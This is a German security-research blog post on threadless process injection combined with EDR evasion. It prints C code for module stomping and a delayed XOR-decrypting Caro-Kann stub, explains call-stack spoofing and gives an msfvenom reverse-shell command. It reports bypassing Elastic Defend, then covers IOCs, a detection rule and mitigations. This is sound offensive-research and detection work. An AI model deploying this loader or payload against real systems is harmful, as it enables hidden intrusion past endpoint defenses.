Threadless Ops - Enhanced Shellcoding for Threadless Injections
Process Injection stellt eine wichtige Methode im Red Teaming dar und wird für verschiedene strategische Ziele eingesetzt.
In Threadless Ops II wird Threadless Injection mit mehreren Evasion-Techniken kombiniert, um EDR-Heuristiken zu umgehen. Mittels Crystal Palace wird Tradecraft (Call-Stack-Spoofing, Module Stomping, Caro-Kann) modular in unseren Loader integriert. Ein Praxis-Test gegen Elastic Defend zeigt die Ergebnisse.
Die in meinem ersten Blogbeitrag thematisierte Process Injection durch Threadless Injection hat in der Zwischenzeit mehr Anwendung gefunden. Zum Beispiel in dem von uns verwendeten C2-Framework Nighthawk wurde diese Technik in der Version 0.3.4 als ExperimentalHijack implementiert. Auch wurde diese Technik von uns im Rahmen von Attack Simulations und Red Teamings erfolgreich eingesetzt, um EDR-Detektionen zu entgehen.
Im folgenden Teil 2 von Threadless Ops kombiniere ich Threadless Injection mit mehreren Evasion-Techniken, um typische EDR-Heuristiken zu umgehen. Als Basis verwende ich das PIC-Framework Crystal Palace, das als Linker funktioniert und es erlaubt, Tradecraft wie Call-Stack-Spoofing sowie zusätzliche Ressourcen modular in unseren Loader zu integrieren. Ergänzend setze ich Module Stomping und das Caro-Kann-Prinzip ein, um den Payload in vertrauenswürdigem Arbeitsspeicher verzögert zu entschlüsseln und auszuführen, sodass einfache Memory-Scans ins Leere laufen. Anschliessend folgt ein Praxis-Test gegen Elastic Defend sowie eine Einordnung der wichtigsten IOCs und Mitigationen.
Die Quelldateien zu diesem Blogbeitrag sind auf dem GitHub Repository ThreadlessOps zu finden.
Vorausgesetzt wird, dass bereits ein Zielprozess übernommen wurde und eine Threadless-Injection-Integration, wie im ersten Blogbeitrag beschrieben, zur Verfügung steht. Wir starten im «Loader Stub», welcher durch den «Threadless Injection Stub» aufgerufen wird und dessen Stack-Alignment korrigiert, volatile Register gesichert und Stack Speicher reserviert hat. Damit wird der komplexe Übergang aus dem gestohlenen Programmfluss (Control Flow) so weit unterstützt, dass am Ende lediglich ein sauberer Return aus dem «Loader Stub» erforderlich ist. Der Zielprozess kann anschliessend ohne spürbare Unterbrechung weiterlaufen. Der «Loader Stub» ist der Shellcode, welcher z.B. bei der Verwendung von Threadless Injection BOF mitgegeben werden kann.
EDRs erkennen schädlichen Code häufig anhand auffälliger Windows-API-Aufrufe. Dabei wird unter anderem geprüft, aus welchem Speichertyp der aufrufende Code stammt, z.B. ob er aus Backed Memory ausgeführt wird. Als Backed Memory bezeichnet man Speicherbereiche, die aus Dateien gemappt wurden, etwa aus dem Programm-Image selbst oder aus geladenen Modulen (z. B. user32.dll). Solcher Speicher ist somit im Dateisystem wieder auffindbar („backed by file“). Bei besonders sensitiven Windows-API-Aufrufen analysieren einige EDRs zusätzlich den Call-Stack, etwa basierend auf Kernel-Callback- oder ETW-Telemetrie. Werden z.B. im Call-Stack Rücksprungadressen auf Unbacked Memory gefunden, ist dies ein Indiz für Shellcode. Diese Art der Erkennung ist besonders schwer zu umgehen. Es gibt jedoch Ausnahmen wie z.B. für Just-In-Time (JIT) Compilation.
Ohne Call-Stack-Spoofing führen die Punkte 1 und 2 aus dem Bild oben in der Praxis zu Detektionen in EDRs. Deshalb wird Call-Stack-Spoofing verwendet, welches den Aufruf der API-Funktion aus einer anderen Code-Stelle vortäuscht. Damit wird (Punkt 1) ein zusätzliches Modul in den Prozess geladen, durch welches Backed Memory (also aus einer Datei geladener Speicher) entsteht. Anschliessend (Punkt 2) wird darin ein entbehrlicher Bereich überschrieben, und der Code wird in einem neuen Thread aus dem Backed Memory ausgeführt.
Der neue Thread ist notwendig, um den ursprünglichen Programmfluss wie auch ein Payload weiter auszuführen. Dies ist ein Widerspruch zu der ursprünglichen Benennung der Technik von Ceri Coburn, aber in der Praxis ein zweckmässiger Kompromiss, um die Ausführung stabil zu halten. Anders als bei herkömmlicher Remote-Process-Injection wird der neue Thread aus dem Kontext des eigenen Prozesses heraus gestartet. Dadurch entfällt das klassische Detektionsmuster, bei dem ein fremder Prozess Speicher im Zielprozess alloziert, beschreibt und anschliessend die Ausführung anstösst (Memory Allocation → Memory Writing → Execution).
Zurück bleibt ein separater neuer Thread im Caro-Kann Stub, der nach fünf Sekunden Verzögerung (Punkt 3) den Payload entschlüsselt und ausführt. Da viele EDRs den Arbeitsspeicher bei neu erstellten Threads auf statische Signaturen prüfen, hilft die Verzögerung vor der Entschlüsselung, diese Erkennung zu umgehen. Andernfalls würde z.B. ein klassischer Metasploit-Payload sofort auffallen.
Bei komplexeren Projekten treten bei der Entwicklung von PIC einige Herausforderungen auf. Beim Kompilieren von Programmen entstehen mehrere Sektionen, welche unterschiedliche Aufgaben haben, jedoch als PIC Shellcode nicht einfach eingesetzt werden können. Neben dem generierten Maschinen-Code, welcher in der “.text”-Sektion zu finden ist, werden auch Sektionen für Daten wie globale Variablen, Strings oder Jump-Tables verwendet (z.B. “.rdata”, “.data”). Beim Ausführen von Shellcode hilft der Windows-Loader nicht, welcher Relocations, Imports und Initialisierungen hierbei automatisch erledigt. Des Weiteren können PIC nur schwer modular aufgebaut werden, da Code und Daten beim Linken stark ineinandergreifen. Sobald man mehrere “Features” (z.B. Evasion + Capability) in getrennten Dateien/Modulen pflegen will, tauchen typische Probleme auf wie Relocations & absolute Referenzen, Imports aus IAT und Debuggability. In der Summe bedeutet das, ohne Framework endet die PIC-Entwicklung häufig in einem fragilen Mix aus Compiler-Tricks, komplexem Source Code und sehr aufwendiger Fehlersuche.
Der «neue Plan» für die Injection klingt in der Theorie simpel, ist in der Praxis aber deutlich komplexer. Daher ist es für dieses Vorhaben sinnvoll, ein unterstützendes PIC-Framework zu verwenden. Ein etabliertes Framewort ist Stardust, welches als Basis für C2 Agenten resp. Implants verwendet werden kann. Dieses löst einige grundsätzliche Probleme bei der Entwicklung und bietet eine solide Basis für solche Projekte. Ein spannender Artikel dazu ist Modern implant design: position independent malware development | 5pider.net.
Durch meine aktuelle Zertifizierung als Red Team Lead von Zero-Point Security bin ich auf Crystal Palace gestossen. Dieses Framework wurde von Raphael Mudge, dem ursprünglichen Macher von Cobalt Strike, neulich unter A PIC Security Research Adventure - Tradecraft Garden veröffentlicht. Rasta Mouse von Zero-Point Security hat damit das Crystal Kit erstellt, was erweiterte Evasion-Fähigkeiten für das bekannte C2-Framework Cobalt Strike implementiert. Dieses Projekt zeigt, wie gut sich Crystal Palace als PIC-Framework einsetzen und strukturieren lässt.
Bisher wurde PIC durch modifizierte Linker-Scripts mit herkömmlichen Compilern erstellt und aus den ausführbaren Dateien extrahiert. Der Ansatz von Crystal Palace ist, als ein solcher Linker zu funktionieren und diesen Schritt am Ende eigenständig durchzuführen. Dadurch werden einige Probleme bei der PIC-Entwicklung grundsätzlich gelöst. Durch die Implementierung eigenen Linker-Scripts können Projekte sehr gut modular aufgebaut und Tradecraft von Capability getrennt werden. Eine gute Erklärung liefert Raphael Mudge auf seiner Webseite unter Videos - Tradecraft Garden.
Unser Vorhaben benötigt Aufrufe der Windows API. Wie bereits erwähnt werden diese von EDRs über verschiedene Wege überwacht. Eine klassische Möglichkeit dafür ist das Hooken solcher Windows-Funktionen. Dies konnte bisher durch Unhooken oder durch direkte oder indirekte Syscalls umgangen werden. Neuer wird die Microsoft Implementation Threat Intelligence Event Tracing for Windows (ETW TI) eingesetzt, welche mehrheitlich aus dem Kernel die Telemetrie zu sicherheitsrelevanten Operationen liefert. Somit können EDRs sensible Aktionen mit detaillierten Informationen wie dem Call Stack ungehindert überprüfen. Wird z.B. CreateThread aus privatem (Unbacked) Memory aufgerufen oder für die Thread Start-Adresse genutzt, ist dies ein Indiz für Shellcode Injection.
Unser Call Stack für CreateThread sieht ohne Evasion wie folgt aus:

Auflösung der Memory Adresse:

Damit zeigt unser Call Stack auf unseren privaten Arbeitsspeicher, welcher durch VirtualAlloc zugewiesen wurde. Um dies zu umgehen, muss der Aufruf aus einem Backed Memory stammen, oder danach aussehen. Eine sehr clevere Technik hierfür zeigt NtDallas im Projekt Draugr. Darin verwendet er Gadgets aus bestehenden Modulen wie kernelbase.dll von Microsoft.
Dazu sucht sich das Tool eine Stelle im Maschinencode, welche direkt nach dem Call eine Jump-Instruktion auf ein beeinflussbares Register wie RBX tätigt. Da der Jump im Call Stack nicht interpretiert wird, kann diese Stelle verwendet werden, um aus dem gewöhnlichen Return-Weg auszubrechen. Somit wird ein synthetischer vorgetäuschter Call-Stack erzeugt, in welchem diese Adresse als erster Return mitgegeben wird und zusätzlich das Register RBX mit der eigenen Adresse im Arbeitsspeicher versehen wird. Der Aufrufende sieht dann nicht, dass der Programmablauf bereits nach dem ersten Return an die Adresse von RBX springen wird und die klassischen Return-Adressen auf dem Stack nicht durchlaufen wird.
Unser Call Stack für CreateThread mit Evasion:

Dies ist ein von Draugr synthetisch hergestellter Call-Stack. Dieser sieht legitim aus, da der Start aus einer für Threads üblichen Start-Adresse «ntdll.RtlUserThreadStart» stammt und keine Return-Adressen auf privaten Arbeitsspeicher zeigt. Das Gadget sieht man hier, wenn der Code hinter der ersten Return-Adresse angeschaut wird. Diese Stelle macht einen Jump auf den Wert im Register RBX, welcher wieder auf unseren Shellcode im privaten Memory Bereich zeigt.
Das Projekt Draugr wurde von Rasta Mouse im Projekt Crystal Kit auf Crystal Palace bereits adaptiert. Crystal Palace erlaubt es, durch ein eigenes Linker-Script Funktionen beim Linken zu überschreiben. Um z.B. Call Stack Spoofing für CreateThread zu deaktivieren oder wieder zu aktivieren, kann die folgende Zeile in loader.spec einfach auskommentiert oder entkommentiert werden:
attach "KERNEL32$CreateThread" "_CreateThread"
Wenn die Zeile aktiviert ist, wird für alle Aufrufe von CreateThread die Funktion «_CreateThread» in «hook.c» verwendet. Diese Funktion dient als Wrapper für den Aufruf von CreateThread durch die Draugr-Technik. Die Technik selbst ist durch «spoof.c» und «draugr.asm» implementiert.
Wird unser neuer Thread nun gestartet und in unserem Payload z.B. die Windows-API MessageBoxW aufgerufen, ergibt sich wieder die gleiche Problematik im Call-Stack:

Wir könnten auch hier Call-Stack-Spoofing einsetzten, aber möglicherweise soll ein anderer Payload genutzt werden, welcher diese Möglichkeit nicht hat. Module Stomping ist eine In-Memory-Technik, bei der Code in den Speicherbereich eines bereits geladenen, legitimen Moduls (also aus Backed Memory) geschrieben wird. Ziel ist es, die Ausführung an eine Adresse zu verlagern, die aus Sicht vieler Artefakte (z.B. Speicher-Mappings und Modulzuordnung) «plausibel» wirkt, weil sie innerhalb eines bekannten Images liegt.
Dazu wird erst ein neues Modul geladen, welches später überschrieben wird. In diesem Beispiel wird «chakra.dll» von Microsoft verwendet. Ist das Modul geladen, wird eine ausgewählte Funktion wie «MemProtectHeapUnprotectCurrentThread» mit dem eigenen Code überschrieben. Um den Code aus dem Backed Memory zu überschreiben, muss vorher die Memory Protection auf «PAGE_READWRITE» umgestellt und nach dem Schreibprozess wieder zurückgestellt werden. Zum Schluss wird wie geplant ein neuer Thread auf die überschriebene Funktion gestartet. Beispiel aus dem Source Code:
// Resolve target module (already loaded or loaded on demand)
stomp.Dll = KERNEL32$GetModuleHandleA ( "chakra.dll" );
if ( stomp.Dll == NULL ) {
stomp.Dll = LoadLibraryA ( "chakra.dll" );
}
// Resolve target function to overwrite
stomp.Func = ( PVOID ) GetProcAddress ( ( HMODULE ) stomp.Dll, "MemProtectHeapUnprotectCurrentThread" );
if ( stomp.Func != NULL ) {
// Make the target function region writable (page-granular change)
DWORD orig_protect;
KERNEL32$VirtualProtect ( stomp.Func, stomp.InjectionLength, PAGE_READWRITE, &orig_protect );
// Overwrite the function body with the payload bytes
__movsb ( ( unsigned char * ) stomp.Func, ( unsigned char * ) stomp.InjectionAddr, stomp.InjectionLength );
/// Restore the original memory protection
DWORD old_protect;
KERNEL32$VirtualProtect ( stomp.Func, stomp.InjectionLength, orig_protect, &old_protect );
// Execute the overwritten function in a new thread
DWORD tid = 0;
HANDLE h = KERNEL32$CreateThread ( NULL, 0, stomp.Func, NULL, 0, &tid );
// Close thread handle to avoid leaking kernel objects
if (h) {
KERNEL32$CloseHandle ( h );
}
}
Neben der Auflösung von Windows-API Funktionen erleichtert uns Crystal Palace auch den Umgang mit Strings, welche bei klassischem PIC nicht erlaubt sind. Aufgrund der Funktion als Linker kann Crystal Palace diese benötigten Sektionen im Shellcode ergänzen und referenzieren. Sehr praktisch in Crystal Palace ist auch das dynamische Einbinden von Ressourcen über zusätzliche Sektionen. In diesem Beispiel wird der Code für den Caro-Kann Stub im Loader als Ressource mitgeliefert und beim Linken in den generierten Shellcode integriert.
// Linker-defined section containing the Caro-Kann shellcode to be injected,
// including the encrypted payload defined by the .spec files
char _carokann_ [ 0 ] __attribute__ ( ( section ( "carokann" ) ) );
/*
* Loads a module and overwrites an exported function with a custom
* payload and executes it in a new thread.
*/
void moduleStomp() {
STOMP_DLL stomp = { 0 };
// Resolve embedded Caro-Kann shellcode
_RESOURCE * carokann = ( _RESOURCE * ) &_carokann_;
stomp.InjectionAddr = carokann->value;
stomp.InjectionLength = carokann->length;
Der Inhalt kann anschliessend in der Datei «loader.spec» deklariert und zur Build-Zeit dynamisch erzeugt und angehängt werden:
# Add carokann shellcode to section 'carokann' run carokann.spec preplen link "carokann"
Aus Sicht der Sektionen im Shellcode würde die erstere Übersicht wie folgt aussehen:

Sobald der neue Thread nach dem Module Stomping gestartet wurde, ist ein Arbeitsspeicher-Scan durch das EDR sehr wahrscheinlich. Das Prinzip aus dem Projekt Caro-Kann von Fabian Mosch ist es, bei diesem unentdeckt zu bleiben, indem die kritische Stelle (der Payload) erst nach ein paar Sekunden entschlüsselt und ausgeführt wird. Hier unterstützt uns Crystal Palace einmal mehr mit der Verlinkung eigener Sektionen. Zusätzlich bietet das Framework die dynamische Generierung von Schlüsseln und automatische Verschlüsselung während dem Build. Dazu wird in der Linker-Script Datei «carokann.spec» der Payload wie folgt verlinkt:
# Generate a 128-bit XOR key for the payload generate $MASK 128 # Encrypt and add payload to section 'payload' run "payload.spec" xor $MASK preplen link "payload" # load "shellcode.bin"# xor $MASK# preplen# link "payload" # Add XOR key to section 'mask' push $MASK preplen link "mask"
In diesem Fall wird die XOR Methode mit einem zufällig generierten 128-bit Schlüssel verwendet. Dieser Schlüssel wird in der Sektion «mask» hinterlegt, damit der Shellcode den Schlüssel verwenden kann. Die Verschlüsselung des Payloads automatisiert uns Crystal Palace durch die Spezifikation «xor $MASK» vor dem «link».
Hinweis: Dieser Payload kann auch mit einem vorhandenen Shellcode auf dem Dateisystem ersetzt werden, indem die Zeilen bei «run payload.spec» auskommentiert und die Zeilen bei «load shellcode.bin» entkommentiert werden.
Der Code aus «payload.c» wird als Payload ausgeführt, welcher durch «payload.spec» für den Linker spezifiziert wurde. Dies ist ein sehr simples Payload-Beispiel, welches eine Message-Box anzeigt:
// Optional delay to prevent potential re-entrancy issues when a WDAC UI dialog is active
KERNEL32$Sleep( 200 );
// Show MessageBox
USER32$MessageBoxW(
NULL,
L"Hello from Payload",
L"Demo",
MB_OK | MB_ICONINFORMATION
);
Der Code für den Caro-Kann Stub sieht dann wie folgt aus:
// Caro-Kann Sleep 5s before starting decryption/execution
KERNEL32$Sleep ( 5000 );
_RESOURCE * payload = ( _RESOURCE * ) &_payload_;
_RESOURCE * mask = ( _RESOURCE * ) &_mask_;
// Make the payload buffer writable for in-place decryption (!VirtualProtect operates at page granularity)
DWORD orig_protect;
KERNEL32$VirtualProtect ( payload->value, payload->length, PAGE_READWRITE, &orig_protect );
// Decrypt payload in-place (XOR with repeating mask)
for ( int i = 0; i < payload->length; i++ ) {
payload->value [ i ] = payload->value [ i ] ^ mask->value [ i % mask->length ];
}
// Restore the original protection
DWORD old_protect;
KERNEL32$VirtualProtect ( payload->value, payload->length, orig_protect, &old_protect );
// Execute decrypted payload
( ( void ( * ) ( ) ) payload->value ) ( );
Der neue Thread wartet nun erst für 5 Sekunden, um dann die Arbeitsspeicherberechtigung anzupassen, den Payload zu entschlüsseln und auszuführen. Die Weitergabe der Programmflusskontrolle an den Payload wird über ein Funktionsaufruf auf den Pointer «payload->value» erreicht.
Der Source Code wird mit «Make» kompiliert und danach mit Crystal Palace zu einem PIC wie folgt verlinkt:
./piclink /home/kali/src/source/loader.spec x64 /home/kali/test.bin
Dieser Shellcode kann z.B. mit dem threadless-inject-BOF in Sliver in einen weiteren Prozess injected werden:

Das Resultat erscheint nach 5 Sekunden, nachdem NtWaitForSingleObject von Notepad.exe verwendet wird:

Elastic Defend lässt sich unkompliziert in einer lokalen Entwicklungsumgebung betreiben und kann z. B. mit einer einmonatigen Trial-Lizenz evaluiert werden. Für einen aussagekräftigen Test empfiehlt es sich, einen Payload mit hoher Detektionsrate zu verwenden. Dazu wurde hier eine Reverse-Shell durch Metasploit wie folgt erzeugt und in «carokann.spec» als Payload hinterlegt:
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=4444 > shellcode.bin
Wird dieser Payload ohne zusätzliche Evasion-Techniken ausgeführt, generiert Elastic Defend zwei Alarme und erkennt dabei, dass Shellcode aus Unbacked Memory ausgeführt wird:

Gleich darauf erkennt der resultierende statische Arbeitsspeicher-Scan den Payload zuverlässig anhand von Signaturen:

Wird im Loader Stub Call-Stack-Spoofing aktiviert und zusätzlich Module Stomping sowie das Caro-Kann-Prinzip angewendet, wird derselbe Metasploit-Payload im gleichen Test nicht mehr detektiert. Dadurch konnte die Reverse-Shell-Verbindung erfolgreich aufgebaut und genutzt werden:


Elastic Defend löste hierbei keine Alarme aus. Auch nicht im Zusammenhang mit der Prozess-Erstellung (Start des Taschenrechners). Dennoch ist davon auszugehen, dass die Reverse-Shell in einem späteren Verlauf auffallen wird, sobald weitere auffällige Aktionen ausgeführt werden, die einen erneuten Arbeitsspeicher-Scan anstossen. Moderne C2-Frameworks wie Cobalt Strike oder Nighthawk adressieren dieses Problem mit einer weiteren Technik namens Sleepmasking, bei dem relevante Speicherbereiche zwischen Aktivitätsphasen wiederholt verschlüsselt und entschlüsselt werden.
In diesem Projekt wurden mehrere Techniken kombiniert, die jeweils unterschiedliche IOCs erzeugen und daher unterschiedliche Mitigationansätze erfordern. Ein Beitrag von Elastic zu In-Memory Threats beschreibt, wie Process Injection u. a. auch für „Threadless Inject“ über verdächtige Cross-Process-Memory-Writes erkannt werden kann. Da dabei ein fremder Prozess Speicherbereiche in geladenen Modulen manipuliert, könnte beispielsweise folgende Regel, die WriteProcessMemory mit Zielbezug auf kritische Module korreliert, diese Aktivität für «ntdll.dll» und «kernelbase.dll» detektieren:
api where process.Ext.api.name : "WriteProcessMemory" and process.Ext.api.behaviors == "cross-process" and process.Ext.api.summary : ("*ntdll.dll*", "*kernelbase.dll*")
Wird diese Technik dadurch nicht blockiert, wäre der nächste IOC das Call-Stack-Spoofing. Viel Malware und auch moderne C2-Frameworks nutzen diese Technik, um von EDRs nicht erkannt zu werden. Da die Events aus TI Daten in der Regel asynchron verarbeitet werden, ist eine genauere Prüfung der Register nicht realistisch. Trotzdem könnten EDR’s die «return-to-gadget»-Muster erkennen, indem auf ein «jmp rbx» oder auf seltene Offsets in bekannten Modulen geprüft wird. Auch könnte ein synthetischer Stack beim Stackwalk auf valide Unwind-Metadaten überprüft werden. Unsere aktuellen Erfahrungen zeigen jedoch, dass solche Erkennungen grundsätzlich fehlen. Dieser Ansatz müsste aber von EDR-Herstellern verfolgt werden.
Eine sichere Mitigation gegen Call-Stack-Spoofing, welche auch Anwender verwenden könnten, wäre Hardware-enforced Stack Protection (HSP) über CET/Shadow Stack, Dabei werden manipulierte Return-Ketten durch einen auf der CPU doppelt geführten Shadow-Stack erkannt. Da dieser Speicher für unprivilegierte Applikationen nicht erreichbar ist, wäre es eine effektive Mitigation in User-Land Applikationen welche Draugr von NtDallas und viele andere ähnliche Techniken verhindert. Allerdings erfordert dies, dass Anwendungen und relevante Module CET-kompatibel gebaut werden, die CPU die CET/Shadow Stack unterstützt und in der Umgebung die Verwendung auch tatsächlich durchgesetzt wird. Eingeschaltet würden Verstösse zum sofortigen Beenden des Programms führen.
Vergleichsweise einfacher zu erkennen ist Module Stomping. Das Laden eines Moduls (z. B. «chakra.dll»), anschliessende Änderungen der Memory-Protection (z. B. RW/RX-Transitions) und das Überschreiben grösserer Bereiche innerhalb eines Backed Memory ergeben ein klares, verdächtiges Muster. Zusätzlich dazu lassen sich die zwei sehr typischen Speicher-Indikatoren «Shared» und «SharedCount» als IOC nutzen, um „verändertes Backed Memory“ schnell zu erkennen. Auch das Laden von für den Prozess untypischen Modulen wie «chakra.dll» kann als weiterer Indikator verwendet werden.
Tools wie Moneta können die typischen IOCs von In-Memory-Techniken sichtbar machen, etwa manipuliertes Backed Memory oder auffällige RW→RX-Transitions und hätten in diesem Projekt den Loader mit hoher Wahrscheinlichkeit als verdächtig markiert.
Dass im Praxistest dennoch kein Alarm ausgelöst wurde, zeigt, dass die Erweiterung des EDRs durch manuelle Detektionen eine wichtige Aufgabe in der IT Security ist. Gerade Call-Stack-Spoofing bleibt für viele Umgebungen schwer zu mitigieren. CET/Shadow Stack (Hardware-enforced Stack Protection) wäre zwar eine robuste Gegenmassnahme, ist aber in der Praxis häufig nur teilweise umsetzbar, weil Anwendungen und Abhängigkeiten noch nicht durchgängig CET-kompatibel gebaut sind. Umso wichtiger ist ein Defense-in-Depth-Ansatz: Technische Kontrollen sollten sich ergänzen, statt auf eine einzelne Erkennungslogik zu vertrauen.
In der Praxis bedeutet das: Wenn einzelne In-Memory-Heuristiken umgangen werden, bleiben verhaltensbasierte Signale entscheidend. Besonders wertvoll sind dabei Korrelationen, die sich schwer unsichtbar machen lassen. Zum Beispiel die Kommunikation mit LDAP von ungewöhnlichen Prozessen. Genau diese Kombination aus Telemetrie, Korrelation und Härtung entscheidet am Ende darüber, ob Evasion nur ein Laborszenario bleibt oder im Realbetrieb durchrutscht.
Fragen oder Bemerkungen dürfen sehr gerne an research@avantguard.io gesendet werden. Falls ihre Erkennungsmechanismen getestet oder verbessert werden sollen, können Sie uns gerne über unsere Webseite kontaktieren.
Process Injection stellt eine wichtige Methode im Red Teaming dar und wird für verschiedene strategische Ziele eingesetzt.
Untersuchungen und weiterführende Gedanken zu In-Memory Execution und Detection.
Der vorläufig letzte Blogpost über meine Arbeit am Open Source C2 Framework Covenant. Ein wichtiger neuer Task, zwei neue Grunt Templates und QoL...